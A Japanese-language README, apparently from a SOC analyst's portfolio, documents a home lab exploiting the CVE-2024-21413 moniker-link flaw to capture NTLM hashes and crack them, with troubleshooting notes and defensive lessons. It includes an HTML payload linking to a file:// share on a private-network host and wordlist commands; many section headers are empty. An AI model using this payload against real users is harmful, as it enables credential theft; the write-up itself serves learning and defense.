
CVE-2024-21413 moniker link を悪用してNTLM認証情報を窃取するペネトレーションテストラボ。攻撃実行、ハッシュクラッキング、防御策を含む。
SOCアナリストポートフォリオの一部 (https://github.com/E-m-e-k-a/SOC-Analyst-Portfolio)
NTLM資格情報窃取のためのCVE-2024-21413 moniker linkエクスプロイトを実演するハンズオンペネトレーションテストラボ。本プロジェクトは、セットアップから資格情報の侵害までの完全な攻撃チェーンを、実世界での課題と解決策を含めて文書化しています。
主な成果: 隔離されたラボ環境(Windows 10 VM)と実システム(Windows 11 PC)の両方でmoniker link攻撃を成功裏に実行し、実用的なセキュリティ脆弱性と防御的対策を実証しました。
攻撃マシン:
ターゲットシステム:
ネットワーク構成:
HTMLファイル (test.html):
<!DOCTYPE html>
<html>
<body>
<p><a href="file://192.168.56.10/test">click me</a></p>
</body>
</html>
ファイルエクスプローラー方式:
\\192.168.56.101\test と入力問題:
根本原因:
解決策:
教訓: デフォルトのWindowsファイアウォールはこの攻撃に対する効果的な保護を提供します。ユーザーは有効にしておく必要があります。
問題:
nwigwecj112Honey (誤ったパスワード!)12Honey は以前のテストのもの根本原因:
~/.john/john.pot に保存解決策:
1414 に変更教訓: 常に正しいハッシュをクラックしていることを確認してください。potファイルをクリアするか、テストには一意のパスワードを使用してください。
問題:
1414 がrockyou.txt (1400万のパスワード) に見つからない根本原因:
解決策:
echo "1414" > passwords.txt
echo "4141" >> passwords.txt
教訓: 「rockyou.txtにない」≠ 安全。短いパスワードは、ワードリストの有無にかかわらず、的を絞った攻撃やブルートフォースに対して脆弱です。
| 指標 | 結果 |
|---|---|
| 初期パスワード | nwigwecj1 |
| 変更後 | 1414 |
| ワードリスト | カスタム (2エントリ) |
| クラック時間 | 1秒未満 |
| ファイアウォール | テスト用に無効化 |
| ステータス | ✅ 侵害に成功 |
| 指標 | 結果 |
|---|---|
| パスワード | 1414 |
| ファイアウォール | 最初はブロック、その後無効化 |
| 認証 | 手動プロンプト (資格情報を入力) |
| クラック時間 | 瞬時 |
| ステータス | ✅ 侵害に成功 |
✅ Windowsファイアウォール - 有効時は攻撃を完全にブロック ✅ 最新のブラウザ - Chrome/Edgeはリモートのfile://リンクをブロック ✅ ユーザーの意識 - 手動プロンプトはユーザーのアクションを必要とする
❌ 弱いパスワード - 4文字の数字は容易にクラックされる ❌ 無効化されたファイアウォール - よくあるユーザーのミス ❌ ファイルエクスプローラー - UNCパスに対する警告なし ❌ NTLMプロトコル - SMB共有への自動認証
1. ファイアウォールは重要
2. パスワード強度の幻想
1414 はrockyou.txtにない(「強力」に見える)3. ユーザー操作が必要
攻撃側:
インフラストラクチャ:
Moniker-Link-Lab-Setup/
├── README.md (this file)
├── Documentation/
│ ├── attack-execution.md (step-by-step attack guide)
│ └── README.md (documentation overview)
├── Screenshots/ (attack screenshots - to be added)
└── Scripts/ (HTML test file - to be added)
技術的:
専門的:
すべてのテストは許可されたシステムで実施:
法的通知: 不正なコンピュータアクセスは違法です。本プロジェクトは教育目的および許可されたテスト環境のみを対象としています。
LinkedIn: https://www.linkedin.com/in/chukwuemeka-nwigwe-624aa3292/ GitHub: @E-m-e-k-a
日付: 2026年3月
教育目的での使用のみ。許可されていないテストには使用しないでください。
⭐ このプロジェクトが役に立ったと思われたなら、リポジトリにスターを付けていただけると幸いです!